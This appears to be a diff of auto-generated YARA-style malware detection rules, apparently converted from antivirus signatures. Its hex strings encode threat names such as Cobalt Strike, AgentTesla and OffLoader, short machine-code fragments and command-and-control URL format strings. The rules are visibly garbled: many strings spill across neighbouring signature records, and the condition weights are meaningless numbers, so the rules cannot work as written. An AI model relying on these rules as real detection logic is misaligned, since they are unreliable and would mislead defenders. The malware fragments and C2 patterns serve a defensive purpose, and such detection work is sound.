"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 42 30 31 21 4d 54 42 00 01 00 2c 81 01 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 20 73 61 63 72 6f 70 65 63 74 69 6e 65 61 6c 20 63 6f 6e 74 72 6f 6c 6c 61 62 6c 65 6e 65 73 73 01 } //18467 + $a_01_1 = {62 69 73 65 63 74 69 6f 6e 61 6c 6c 79 01 00 0e 81 01 73 70 6f 72 65 68 75 73 65 73 2e 65 78 65 01 00 1f 81 01 6c 61 6e 64 66 6f 72 6d 73 20 61 64 65 6c 69 67 74 20 6f 72 67 61 6e 69 73 65 72 65 64 65 73 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 55 49 36 33 00 01 00 1a 81 01 61 6d 74 73 72 61 61 64 73 } //3328 + $a_65_2 = {69 6e 67 65 72 6e 65 73 2e 73 75 73 01 00 0f 81 01 69 63 6f 6e 6f 6d 65 74 72 69 63 2e 75 6e 64 01 00 1f 81 01 67 72 69 62 65 72 73 20 68 79 70 65 72 73 75 73 70 69 63 69 6f 75 73 20 64 65 6e 6f 74 65 72 01 00 22 81 01 61 6d 6f 75 72 6f 75 73 65 73 20 73 6c 75 67 68 61 6c 73 65 6e 73 20 65 6e 74 65 72 70 72 69 73 65 73 00 00 78 a9 00 00 04 } //28518 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3328+(#a_65_2 & 1)*28518) >=4 + +} +rule _InfrastructureShared_12503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -129710,7 +138277,7 @@ rule _InfrastructureShared_11740{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*385+(#a_65_2 & 1)*7936+(#a_70_3 & 1)*29283) >=4 } -rule _InfrastructureShared_11741{ +rule _InfrastructureShared_12504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -129723,7 +138290,7 @@ rule _InfrastructureShared_11741{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*27753+(#a_00_2 & 1)*11824+(#a_6c_3 & 1)*16897) >=4 } -rule _InfrastructureShared_11742{ +rule _InfrastructureShared_12505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -129736,7 +138303,7 @@ rule _InfrastructureShared_11742{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*29185+(#a_4f_2 & 1)*22098+(#a_65_3 & 1)*25974) >=4 } -rule _InfrastructureShared_11743{ +rule _InfrastructureShared_12506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -129749,7 +138316,7 @@ rule _InfrastructureShared_11743{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*8960+(#a_35_2 & 1)*25400+(#a_73_3 & 1)*24930) >=4 } -rule _InfrastructureShared_11744{ +rule _InfrastructureShared_12507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -129763,7 +138330,7 @@ rule _InfrastructureShared_11744{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*13103+(#a_49_2 & 1)*29793+(#a_20_3 & 1)*26469+(#a_61_4 & 1)*12108) >=4 } -rule _InfrastructureShared_11745{ +rule _InfrastructureShared_12508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -129777,7 +138344,7 @@ rule _InfrastructureShared_11745{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*25964+(#a_7a_2 & 1)*19503+(#a_16_3 & 1)*22547+(#a_1f_4 & 1)*4474) >=4 } -rule _InfrastructureShared_11746{ +rule _InfrastructureShared_12509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -129787,7 +138354,18 @@ rule _InfrastructureShared_11746{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_11747{ +rule _InfrastructureShared_12510{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 64 61 70 74 69 78 43 32 2e 41 48 42 21 4d 54 42 00 03 00 42 01 8b 45 fc 8d 50 01 89 d0 c1 f8 1f c1 e8 18 01 c2 0f b6 d2 29 c2 89 55 fc 8b 45 fc 48 63 d0 48 8b 45 20 } //21539 + $a_0f_1 = {b6 00 0f b6 d0 8b 45 f8 01 c2 89 d0 c1 f8 1f c1 e8 18 01 c2 0f b6 d2 29 c2 89 55 f8 02 00 32 01 83 45 f8 20 8b 45 fc c1 e0 05 89 c2 8b 45 fc 01 c2 8b 45 f8 01 d0 89 45 fc 48 8b 45 10 48 8d 50 02 48 89 55 10 0f b7 00 0f b7 c0 89 45 f8 83 7d f8 00 00 00 78 a9 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 43 47 5f 44 69 72 6b 5f 63 66 74 6d 6f 6e 2e 42 21 64 68 61 00 01 00 1a 01 68 74 74 70 3a 2f 2f 25 73 2f 72 65 61 64 2e 61 73 70 78 3f 6c 69 3d 25 73 00 01 00 1a 01 68 74 74 70 3a 2f 2f 25 73 2f 65 64 69 74 2e 61 73 70 78 3f 66 73 3d 25 73 00 01 00 1a 01 68 74 74 70 3a 2f 2f 25 73 } //328 + condition: + ((#a_4c_0 & 1)*21539+(#a_0f_1 & 1)*328) >=5 + +} +rule _InfrastructureShared_12511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -129800,7 +138378,7 @@ rule _InfrastructureShared_11747{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29477+(#a_5c_2 & 1)*25345+(#a_74_3 & 1)*24420) >=5 } -rule _InfrastructureShared_11748{ +rule _InfrastructureShared_12512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129814,7 +138392,7 @@ rule _InfrastructureShared_11748{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29285+(#a_2f_2 & 1)*13166+(#a_6e_3 & 1)*26996+(#a_4c_4 & 1)*21325) >=5 } -rule _InfrastructureShared_11749{ +rule _InfrastructureShared_12513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129828,7 +138406,7 @@ rule _InfrastructureShared_11749{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*24946+(#a_61_2 & 1)*29541+(#a_79_3 & 1)*25701+(#a_42_4 & 1)*17993) >=5 } -rule _InfrastructureShared_11750{ +rule _InfrastructureShared_12514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129841,7 +138419,7 @@ rule _InfrastructureShared_11750{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*1282+(#a_65_2 & 1)*16687+(#a_6d_3 & 1)*29254) >=5 } -rule _InfrastructureShared_11751{ +rule _InfrastructureShared_12515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129855,7 +138433,7 @@ rule _InfrastructureShared_11751{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*30060+(#a_54_2 & 1)*28261+(#a_73_3 & 1)*25933+(#a_01_4 & 1)*84) >=5 } -rule _InfrastructureShared_11752{ +rule _InfrastructureShared_12516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129867,7 +138445,7 @@ rule _InfrastructureShared_11752{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*107+(#a_4d_3 & 1)*12850) >=5 } -rule _InfrastructureShared_11753{ +rule _InfrastructureShared_12517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129881,7 +138459,7 @@ rule _InfrastructureShared_11753{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*84+(#a_00_2 & 1)*29295+(#a_74_3 & 1)*18177+(#a_72_4 & 1)*27499) >=5 } -rule _InfrastructureShared_11754{ +rule _InfrastructureShared_12518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129895,7 +138473,7 @@ rule _InfrastructureShared_11754{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25960+(#a_46_2 & 1)*19246+(#a_62_3 & 1)*24936+(#a_74_4 & 1)*26736) >=5 } -rule _InfrastructureShared_11755{ +rule _InfrastructureShared_12519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129909,7 +138487,7 @@ rule _InfrastructureShared_11755{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28265+(#a_31_2 & 1)*21833+(#a_6c_3 & 1)*28514+(#a_74_4 & 1)*27755) >=5 } -rule _InfrastructureShared_11756{ +rule _InfrastructureShared_12520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129923,7 +138501,7 @@ rule _InfrastructureShared_11756{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25441+(#a_2e_2 & 1)*25956+(#a_6b_3 & 1)*29300+(#a_75_4 & 1)*28673) >=5 } -rule _InfrastructureShared_11757{ +rule _InfrastructureShared_12521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129936,7 +138514,7 @@ rule _InfrastructureShared_11757{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4096+(#a_6c_2 & 1)*25972+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_11758{ +rule _InfrastructureShared_12522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129949,7 +138527,7 @@ rule _InfrastructureShared_11758{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_6c_3 & 1)*27393+(#a_65_4 & 1)*28265) >=5 } -rule _InfrastructureShared_11759{ +rule _InfrastructureShared_12523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129961,7 +138539,7 @@ rule _InfrastructureShared_11759{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*27649+(#a_61_2 & 1)*25857) >=5 } -rule _InfrastructureShared_11760{ +rule _InfrastructureShared_12524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -129974,7 +138552,7 @@ rule _InfrastructureShared_11760{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29557+(#a_4d_2 & 1)*11888+(#a_70_3 & 1)*29807) >=5 } -rule _InfrastructureShared_11761{ +rule _InfrastructureShared_12525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -129990,7 +138568,7 @@ rule _InfrastructureShared_11761{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*17524+(#a_33_2 & 1)*26967+(#a_64_3 & 1)*11845+(#a_4c_4 & 1)*30063+(#a_2e_5 & 1)*28265+(#a_00_7 & 1)*104) >=5 } -rule _InfrastructureShared_11762{ +rule _InfrastructureShared_12526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -130002,7 +138580,7 @@ rule _InfrastructureShared_11762{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26485+(#a_6b_2 & 1)*24944) >=6 } -rule _InfrastructureShared_11763{ +rule _InfrastructureShared_12527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -130015,7 +138593,7 @@ rule _InfrastructureShared_11763{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*4608+(#a_00_3 & 1)*110+(#a_00_4 & 1)*101) >=6 } -rule _InfrastructureShared_11764{ +rule _InfrastructureShared_12528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -130028,7 +138606,7 @@ rule _InfrastructureShared_11764{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*2560+(#a_00_3 & 1)*97+(#a_00_5 & 1)*111) >=6 } -rule _InfrastructureShared_11765{ +rule _InfrastructureShared_12529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -130043,7 +138621,7 @@ rule _InfrastructureShared_11765{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24898+(#a_75_2 & 1)*-32503+(#a_74_3 & 1)*29296+(#a_72_4 & 1)*8307+(#a_80_5 & 1)*1) >=6 } -rule _InfrastructureShared_11766{ +rule _InfrastructureShared_12530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -130058,7 +138636,7 @@ rule _InfrastructureShared_11766{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28271+(#a_6e_2 & 1)*22330+(#a_5c_3 & 1)*29537+(#a_eb_4 & 1)*656+(#a_10_5 & 1)*-28570) >=6 } -rule _InfrastructureShared_11767{ +rule _InfrastructureShared_12531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -130074,7 +138652,7 @@ rule _InfrastructureShared_11767{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30066+(#a_76_2 & 1)*384+(#a_47_3 & 1)*12851+(#a_58_4 & 1)*-32509+(#a_73_5 & 1)*26210+(#a_01_6 & 1)*25970) >=7 } -rule _InfrastructureShared_11768{ +rule _InfrastructureShared_12532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -130090,7 +138668,7 @@ rule _InfrastructureShared_11768{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_a9_5 & 1)*0+(#a_72_6 & 1)*28005) >=7 } -rule _InfrastructureShared_11769{ +rule _InfrastructureShared_12533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -130101,12 +138679,12 @@ rule _InfrastructureShared_11769{ $a_65_3 = {00 00 78 a9 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 36 21 4d 54 42 00 01 00 09 81 01 4c 6f 67 53 77 69 74 63 68 01 00 0c 81 01 55 49 50 65 72 6d 69 73 73 69 6f 6e 01 00 07 81 01 00 58 43 43 56 56 00 01 } //25710 $a_01_4 = {48 61 73 68 41 6c 67 6f 72 69 74 68 6d 01 00 0b 81 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 a9 00 00 07 00 07 00 09 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 4d 4b 00 01 00 09 80 01 63 6c 69 63 6b 5f 75 72 6c 01 00 06 } //3328 $a_64_5 = {79 70 65 01 00 08 80 01 73 68 6f 70 70 69 6e 67 01 00 0b 80 01 61 64 76 65 72 74 69 73 69 6e 67 01 00 09 80 01 4e 41 56 45 52 53 48 4f 50 01 00 0a 80 01 57 69 7a 50 6f 70 2e 45 58 45 01 00 0c 80 01 77 69 7a 70 6f 70 2e 63 6f 2e 6b 72 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 } //384 - $a_69_6 = {73 74 61 6c 6c 2e 65 78 65 00 00 78 a9 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4e 21 4d 54 42 00 0a 00 76 03 8b c2 0f af c2 42 01 86 90 01 04 8b 46 90 01 01 33 05 90 01 04 35 90 01 04 29 05 90 01 04 a1 90 01 04 01 86 90 01 04 8b 0d 90 01 04 8b 81 } //21761 + $a_69_6 = {73 74 61 6c 6c 2e 65 78 65 00 00 78 a9 00 00 09 00 09 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4f 21 4d 54 42 00 08 00 40 03 2e 00 70 00 68 00 70 00 3f 00 90 02 08 3d 00 6e 00 26 00 70 00 3d 00 90 02 0a 26 00 74 00 3d 00 90 02 16 26 00 74 00 69 00 74 00 6c 00 65 00 } //21761 condition: ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29289+(#a_65_2 & 1)*24936+(#a_65_3 & 1)*25710+(#a_01_4 & 1)*3328+(#a_64_5 & 1)*384+(#a_69_6 & 1)*21761) >=7 } -rule _InfrastructureShared_11770{ +rule _InfrastructureShared_12534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -130117,12 +138695,12 @@ rule _InfrastructureShared_11770{ $a_69_3 = {63 68 01 00 0c 81 01 55 49 50 65 72 6d 69 73 73 69 6f 6e 01 00 07 81 01 00 58 43 43 56 56 00 01 00 0d 81 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 01 00 0b 81 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 a9 00 00 07 00 07 00 09 } //21351 $a_41_4 = {46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 4d 4b 00 01 00 09 80 01 63 6c 69 63 6b 5f } //8448 $a_01_5 = {00 06 80 01 61 64 74 79 70 65 01 00 08 80 01 73 68 6f 70 70 69 6e 67 01 00 0b 80 01 61 64 76 65 72 74 69 73 69 6e 67 01 00 09 80 01 4e 41 56 45 52 53 48 4f 50 01 00 0a 80 01 57 69 7a 50 6f 70 2e 45 58 45 01 00 0c 80 01 77 69 7a 70 6f 70 2e 63 6f 2e 6b 72 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 } //29301 - $a_61_6 = {6c 2e 65 78 65 00 00 78 a9 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4e 21 4d 54 42 00 0a 00 76 03 8b c2 0f af c2 42 01 86 90 01 04 8b 46 90 01 01 33 05 90 01 04 35 90 01 04 29 05 90 01 04 a1 90 01 04 01 86 90 01 04 8b 0d 90 01 04 8b 81 90 01 04 48 31 41 90 01 01 a1 } //29550 + $a_61_6 = {6c 2e 65 78 65 00 00 78 a9 00 00 09 00 09 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4f 21 4d 54 42 00 08 00 40 03 2e 00 70 00 68 00 70 00 3f 00 90 02 08 3d 00 6e 00 26 00 70 00 3d 00 90 02 0a 26 00 74 00 3d 00 90 02 16 26 00 74 00 69 00 74 00 6c 00 65 00 3d 00 90 02 f0 26 00 73 00 75 } //29550 condition: ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*-32500+(#a_53_2 & 1)*29281+(#a_69_3 & 1)*21351+(#a_41_4 & 1)*8448+(#a_01_5 & 1)*29301+(#a_61_6 & 1)*29550) >=7 } -rule _InfrastructureShared_11771{ +rule _InfrastructureShared_12535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -130130,15 +138708,14 @@ rule _InfrastructureShared_11771{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 36 21 4d 54 42 00 01 00 09 81 01 4c 6f 67 53 77 69 74 63 68 01 00 0c 81 01 55 49 50 65 72 6d 69 73 73 69 6f 6e 01 00 07 81 01 00 58 43 43 56 56 00 01 00 0d 81 01 } //18467 $a_68_1 = {6c 67 6f 72 69 74 68 6d 01 00 0b 81 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 a9 00 00 07 00 07 00 09 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 4d 4b 00 01 00 09 80 01 63 6c 69 } //24904 $a_75_2 = {6c 01 00 06 80 01 61 64 74 79 70 65 01 00 08 80 01 73 68 6f 70 70 69 6e 67 01 00 0b 80 01 61 64 76 65 72 74 69 73 69 6e 67 01 00 09 80 01 4e 41 56 45 52 53 48 4f 50 01 00 0a 80 01 57 69 7a 50 6f 70 2e 45 58 45 01 00 0c 80 01 77 69 7a 70 6f 70 2e 63 6f 2e 6b 72 9c ff 0a 80 01 55 6e 69 } //27491 - $a_2e_3 = {78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 a9 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4e 21 4d 54 42 00 0a 00 76 03 8b c2 0f af c2 42 01 86 90 01 04 8b 46 90 01 01 33 05 90 01 04 35 90 01 04 29 05 90 01 04 a1 90 01 04 01 86 90 01 04 8b 0d } //29550 - $a_8b_4 = {90 01 04 48 } //400 - $a_01_5 = {01 a1 90 01 04 8b 88 90 01 04 2b 88 90 01 04 8b 86 90 01 04 81 c1 90 01 04 03 86 90 01 04 01 8e 90 01 04 83 f0 90 01 01 0f af 86 90 01 04 89 86 90 01 04 a1 90 01 04 3b 50 90 01 01 76 82 90 00 00 00 78 a9 00 00 0a 00 0a 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 72 63 61 4d 61 72 62 6c 65 73 2e 41 21 64 68 61 00 0a 00 30 42 48 c7 04 24 40 62 b0 07 e8 90 01 04 48 8d 05 90 01 04 48 89 04 24 48 c7 44 24 90 } //16689 - $a_00_6 = {00 00 e8 90 01 04 48 c7 04 24 c0 dd 91 07 e8 90 00 05 00 1e 01 5c 4f 66 66 69 63 65 5c 55 74 69 6c 69 } //257 + $a_2e_3 = {78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 a9 00 00 09 00 09 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4f 21 4d 54 42 00 08 00 40 03 2e 00 70 00 68 00 70 00 3f 00 90 02 08 3d 00 6e 00 26 00 70 00 3d 00 90 02 0a 26 00 74 00 3d 00 90 02 16 26 00 74 00 69 00 74 } //29550 + $a_02_5 = {f0 26 00 73 00 75 00 62 00 3d 00 90 00 08 00 27 03 2e 70 68 70 3f 90 02 08 3d 6e 26 70 3d 90 02 0a 26 74 3d 90 02 16 26 74 69 74 6c 65 3d 90 02 f0 26 73 75 62 3d 90 00 01 00 07 80 01 2f 73 69 6c 65 6e 74 00 00 78 a9 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4e 21 4d 54 42 00 0a 00 76 03 8b c2 0f af c2 42 01 86 90 01 04 8b 46 90 01 01 33 05 90 01 04 } //61 + $a_04_6 = {29 } //-28619 ) condition: - ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*24904+(#a_75_2 & 1)*27491+(#a_2e_3 & 1)*29550+(#a_8b_4 & 1)*400+(#a_01_5 & 1)*16689+(#a_00_6 & 1)*257) >=7 + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*24904+(#a_75_2 & 1)*27491+(#a_2e_3 & 1)*29550+(#a_02_5 & 1)*61+(#a_04_6 & 1)*-28619) >=7 } -rule _InfrastructureShared_11772{ +rule _InfrastructureShared_12536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -130149,14 +138726,26 @@ rule _InfrastructureShared_11772{ $a_80_3 = {77 69 7a 70 6f 70 2e 63 6f 2e 6b 72 } //wizpop.co.kr 1 $a_80_4 = {55 6e 69 6e 73 74 2e 65 78 65 } //Uninst.exe -100 $a_80_5 = {55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 } //Uninstall.exe -100 - $a_a9_6 = {00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4e 21 4d 54 42 00 0a 00 76 03 8b c2 0f af c2 42 01 86 90 01 04 8b 46 90 01 01 33 05 90 01 04 35 90 01 04 29 05 90 01 04 a1 90 01 04 01 86 90 01 04 8b 0d 90 01 04 8b 81 90 01 04 48 31 41 90 01 01 a1 90 01 04 8b 88 90 01 04 2b 88 90 01 04 8b } //0 - $a_04_7 = {81 } //-28538 - $a_04_8 = {03 } //-28479 + $a_a9_6 = {00 09 00 09 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4f 21 4d 54 42 00 08 00 40 03 2e 00 70 00 68 00 70 00 3f 00 90 02 08 3d 00 6e 00 26 00 70 00 3d 00 90 02 0a 26 00 74 00 3d 00 90 02 16 26 00 74 00 69 00 74 00 6c 00 65 00 3d 00 90 02 f0 26 00 73 00 75 00 62 00 3d 00 90 00 08 00 27 03 2e 70 68 } //0 + $a_02_7 = {08 3d 6e 26 70 3d 90 02 0a 26 74 3d 90 02 16 26 74 69 74 6c 65 3d 90 02 f0 26 73 75 62 3d 90 00 01 00 07 80 01 2f 73 69 6c 65 6e 74 00 00 78 a9 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4e 21 4d 54 42 00 0a 00 76 03 8b c2 0f af c2 42 01 86 90 01 04 8b 46 90 01 01 33 05 90 01 04 35 90 01 04 29 05 90 01 04 a1 90 01 04 01 86 90 01 04 8b 0d 90 01 04 8b } //16240 + $a_04_8 = {48 } //-28543 H condition: - ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*-100+(#a_80_5 & 1)*-100+(#a_a9_6 & 1)*0+(#a_04_7 & 1)*-28538+(#a_04_8 & 1)*-28479) >=7 + ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*-100+(#a_80_5 & 1)*-100+(#a_a9_6 & 1)*0+(#a_02_7 & 1)*16240+(#a_04_8 & 1)*-28543) >=7 } -rule _InfrastructureShared_11773{ +rule _InfrastructureShared_12537{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 41 4f 21 4d 54 42 00 08 00 40 03 2e 00 70 00 68 00 70 00 3f 00 90 02 08 3d 00 6e 00 26 00 70 00 3d 00 90 02 0a 26 00 74 00 3d 00 90 02 16 26 00 74 00 69 00 74 00 6c 00 65 00 } //18467 + $a_02_1 = {f0 26 00 73 00 75 00 62 00 3d 00 90 00 08 00 27 03 2e 70 68 70 3f 90 02 08 3d 6e 26 70 3d 90 02 0a 26 74 3d 90 02 16 26 74 69 74 6c 65 3d 90 02 f0 26 73 75 62 3d 90 00 01 00 07 80 01 2f 73 69 6c 65 6e 74 00 00 78 a9 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 4e 21 4d 54 42 